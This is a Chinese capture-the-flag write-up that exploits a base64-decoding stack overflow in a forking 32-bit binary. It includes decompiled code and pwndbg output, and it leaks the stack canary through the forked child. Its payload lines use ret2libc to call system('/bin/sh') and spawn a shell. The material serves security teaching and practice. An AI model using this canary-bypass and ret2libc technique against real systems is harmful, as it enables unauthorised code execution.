文章目录
  1. 1. 0x00 题目分析
  2. 2. 0x01 漏洞分析和利用
  3. 3. 0x03 总结
  4. 4. 0x04 参考资料

hxb的pwn1


0x00 题目分析

首先IDA分析题目

int __cdecl main()
{
  char v1; // [esp+1Bh] [ebp-5h]
  __pid_t v2; // [esp+1Ch] [ebp-4h]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("I am a simple program");
  while ( 1 )
  {
    puts("\nMay be I can know if you give me some data[Y/N]");
    if ( getchar() != 'Y' )
      break;
    v1 = getchar();
    while ( v1 != 10 && v1 )
      ;
    v2 = fork();
    if ( !v2 )
    {
      sub_8048B29();
      puts("Finish!");
      exit(0);
    }
    if ( v2 <= 0 )
    {
      if ( v2 == -1 )
      {
        puts("Something Wrong");
        exit(0);
      }
    }
    else
    {
      wait(0);
    }
  }
  return 0;
}

程序的主要逻辑,fork执行函数sub_8048B29,再来看一下sub_8048B29

unsigned int sub_80487E6()
{
  char *v0; // edx
  unsigned int v1; // ebx
  char *v2; // edi
  char *v3; // edx
  int v4; // eax
  int v5; // eax
  int v6; // eax
  unsigned __int8 i; // [esp+17h] [ebp-121h]
  unsigned __int8 j; // [esp+17h] [ebp-121h]
  unsigned __int8 k; // [esp+17h] [ebp-121h]
  unsigned __int8 l; // [esp+17h] [ebp-121h]
  int ii; // [esp+18h] [ebp-120h]
  int v13; // [esp+1Ch] [ebp-11Ch]
  int v14; // [esp+1Ch] [ebp-11Ch]
  int v15; // [esp+1Ch] [ebp-11Ch]
  char *input; // [esp+20h] [ebp-118h]
  unsigned __int8 s; // [esp+27h] [ebp-111h]
  unsigned __int8 v18; // [esp+28h] [ebp-110h]
  unsigned __int8 v19; // [esp+29h] [ebp-10Fh]
  unsigned __int8 v20; // [esp+2Ah] [ebp-10Eh]
  char base64_result[257]; // [esp+2Bh] [ebp-10Dh]
  unsigned int v22; // [esp+12Ch] [ebp-Ch]

  v22 = __readgsdword(0x14u);
  input = (char *)malloc(0x201u);
  v0 = base64_result;
  v1 = 0x101;
  if ( (unsigned int)base64_result & 1 )
  {
    base64_result[0] = 0;
    v0 = &base64_result[1];
    v1 = 256;
  }
  if ( (unsigned __int8)v0 & 2 )
  {
    *(_WORD *)v0 = 0;
    v0 += 2;
    v1 -= 2;
  }
  memset(v0, 0, 4 * (v1 >> 2));
  v2 = &v0[4 * (v1 >> 2)];
  v3 = &v0[4 * (v1 >> 2)];
  if ( v1 & 2 )
  {
    *(_WORD *)v2 = 0;
    v3 = v2 + 2;
  }
  if ( v1 & 1 )
    *v3 = 0;
  read_80486FD(input, 0x200u);
  ii = 0;
  v13 = 0;
  while ( input[ii] )
  {
    memset(&s, 255, 4u);
    for ( i = 0; i <= 0x3Fu; ++i )
    {
      if ( base64_804A050[i] == input[ii] )
        s = i;
    }
    for ( j = 0; j <= 0x3Fu; ++j )
    {
      if ( base64_804A050[j] == input[ii + 1] )
        v18 = j;
    }
    for ( k = 0; k <= 0x3Fu; ++k )
    {
      if ( base64_804A050[k] == input[ii + 2] )
        v19 = k;
    }
    for ( l = 0; l <= 0x3Fu; ++l )
    {
      if ( base64_804A050[l] == input[ii + 3] )
        v20 = l;
    }
    v4 = v13;
    v14 = v13 + 1;
    base64_result[v4] = (v18 >> 4) & 3 | 4 * s;
    if ( input[ii + 2] == '=' )
      break;
    v5 = v14;
    v15 = v14 + 1;
    base64_result[v5] = (v19 >> 2) & 0xF | 16 * v18;
    if ( input[ii + 3] == '=' )
      break;
    v6 = v15;
    v13 = v15 + 1;
    base64_result[v6] = v20 & 0x3F | (v19 << 6);
    ii += 4;
  }
  printf("Result is:%s\n", base64_result);
  return __readgsdword(0x14u) ^ v22;
}

上面函数的主要功能就是解密base64,漏洞点如下:

1.read_80486FD(input, 0x200u);
在输入0x200的base64字符串,解密之后的大小为0x200/4*3 = 0x180
2.char base64_result[257]; // [esp+2Bh] [ebp-10Dh]
解密结果缓冲区的大小为0x101,这会发生栈溢出

0x01 漏洞分析和利用

我们要解决的问题,Canary保护,这个很重要否则栈溢出会失败,这里有几个点需要了解

1.fork进程的调试,如何跟踪子进程和父进程    
2.fork的子进程和父进程之间的资源共享,所以我们通过一次合适溢出将canary的leak出(最后会打印base64结果),然后下一次溢出劫持控制流
3.怎么样获取system地址,启动shell

使用gdb调试fork,可以如下设置,这样会跟踪子进程

set follow-fork-mode chird
set detach-on-fork off

可以使用如下的命令完成父子进程的之前的切换

info inferiors  查看调试进程
inferiors num     切换调试进程

因为fork的子进程和父进程之间的资源共享,我们就可以构造泄露canary,我们首先使用pattern.py生成一个长度为0x180的畸形字符串,然后base64加密,具体如下

root@ubuntu:~/pwn# python pattern.py create 384
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7

[──────────────────────────────────REGISTERS───────────────────────────────────]
*EAX  0x36694135 ('5Ai6')
 EBX  0x0
*ECX  0xffffffff
*EDX  0xf76ff870 (_IO_stdfile_1_lock) ◂— 0x0
*EDI  0xffb14a6c ◂— 0x36694135 ('5Ai6')
*ESI  0xf76fe000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
*EBP  0xffb14a78 ◂— 0x306a4139 ('9Aj0')
*ESP  0xffb14940 —▸ 0x8048d2a ◂— push   edx /* 'Result is:%s\n' */
*EIP  0x8048b11 ◂— xor    eax, dword ptr gs:[0x14]
[────────────────────────────────────DISASM────────────────────────────────────]
 ► 0x8048b11    xor    eax, dword ptr gs:[0x14]
   0x8048b18    je     0x8048b1f
    ↓
   0x8048b1f    add    esp, 0x130
   0x8048b25    pop    ebx
   0x8048b26    pop    edi
   0x8048b27    pop    ebp
   0x8048b28    ret    

   0x8048b29    push   ebp
   0x8048b2a    mov    ebp, esp
   0x8048b2c    sub    esp, 8
   0x8048b2f    call   0x80487e6
[────────────────────────────────────STACK─────────────────────────────────────]
00:0000│ esp  0xffb14940 —▸ 0x8048d2a ◂— push   edx /* 'Result is:%s\n' */
01:0004│      0xffb14944 —▸ 0xffb1496b ◂— 0x41306141 ('Aa0A')
02:0008│      0xffb14948 ◂— 0x4
03:000c│      0xffb1494c —▸ 0xffb149c8 ◂— 0x41316441 ('Ad1A')
04:0010│      0xffb14950 —▸ 0xffb14a10 ◂— 0x41356641 ('Af5A')
05:0014│      0xffb14954 ◂— 0x4072db6b
06:0018│      0xffb14958 ◂— 0x200
07:001c│      0xffb1495c ◂— 0x180
[──────────────────────────────────BACKTRACE───────────────────────────────────]
 ► f 0  8048b11
   f 1 41316a41
   f 2 6a41326a
   f 3 346a4133
   f 4 41356a41
   f 5 6a41366a
   f 6 386a4137
   f 7 41396a41
   f 8 6b41306b
   f 9 326b4131
   f 10 41336b41
Breakpoint *0x08048B11
pwndbg> 

这时候的eax寄存器中的值就是Canary的值,我们使用pattern.py计算一下偏移,具体如下

root@ubuntu:~/pwn# python pattern.py offset 5Ai6
257

这里要加1因为Canary的最高位的值是\x00,打印的时候会截断,不会输出后面的Canary

下面我们就可以通过同样的方法,找到返回地址的偏移,我在这里就不详细说明了,返回地址的偏移是273

下面就可以正式编辑exp了,现在我们可以控制返回地址,下面我们就可以填充shellcode了,但是由于程序开启的NX,所以我们要使用ret2libc技术,首先我们要获取system函数地址,具体构造如下

pay = "P"*257+p32(canary)+"p"*12+p32(put_plt)+p32(0xffffffff)+p32(fork_got)

这样可以将fork函数的地址打印出来,然后我们可以通过如下计算获取到system_addr和binsh_addr。

system_addr = fork_addr - libc.symbols['fork']+libc.symbols['system']
binsh_addr = fork_addr - libc.symbols['fork']+next(libc.search("/bin/sh\x00"))

最后按照上面的pay可以构造执行system(”/bin/sh”),具体如下:

payload = "P"*257+p32(canary)+"P"*12+p32(system_addr)+p32(0xffffffff)+p32(binsh_addr)

最后即可拿到shell,结果如下图:

0x03 总结

这道题让我们主要学习的到有以下两点

1.怎么是用gdb调试多线程fork
2.怎么绕过canary完成栈溢出

0x04 参考资料

gdb调试多进程和多线程命令

文章目录
  1. 1. 0x00 题目分析
  2. 2. 0x01 漏洞分析和利用
  3. 3. 0x03 总结
  4. 4. 0x04 参考资料